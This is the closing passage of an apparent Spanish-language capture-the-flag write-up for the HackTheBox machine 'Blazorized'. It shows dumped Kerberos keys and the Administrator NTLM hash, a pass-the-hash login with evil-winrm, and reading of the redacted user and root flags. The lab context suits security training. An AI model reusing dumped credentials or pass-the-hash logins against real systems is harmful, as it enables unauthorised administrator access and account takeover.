      des_cbc_md5       (4096) : 310e2a0438583dce
    OldCredentials
      aes256_hmac       (4096) : eeb59c1fa73f43372f40f4b0c9261f30ce68e6cf0009560f7744d8871058af2c
      aes128_hmac       (4096) : db4d9e0e5cd7022242f3e03642c135a6
      des_cbc_md5       (4096) : 1c67ef730261a198
    OlderCredentials
      aes256_hmac       (4096) : bb7fcd1148a3863c9122784becf13ff7b412af7d734162ed3cb050375b1a332c
      aes128_hmac       (4096) : 2d9925ef94916523b24e43d1cb8396ee
      des_cbc_md5       (4096) : 9b01158c8923ce68

* Primary:Kerberos *
    Default Salt : BLAZORIZED.HTBAdministrator
    Credentials
      des_cbc_md5       : 310e2a0438583dce
    OldCredentials
      des_cbc_md5       : 1c67ef730261a198

* Packages *
    NTLM-Strong-NTOWF
...

Obtenemos el hash NTLM para el usuario Administrador, f55ed1465179ba374ec1cad05b34a5f3. Ahora simplemente iniciamos sesión utilizando Evil-WinRM.

$ evil-winrm -i blazorized.htb -u 'Administrator' -H 'f55ed1465179ba374ec1cad05b34a5f3'
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\desktop> whoami
blazorized\administrator

Flags

En la consola de Administrador, podemos obtener las flags de user y root.

*Evil-WinRM* PS C:\Users\Administrator\desktop> type C:\users\nu_1055\Desktop\user.txt
<REDACTED>
*Evil-WinRM* PS C:\Users\Administrator\desktop> type C:\users\Administrator\Desktop\root.txt
<REDACTED>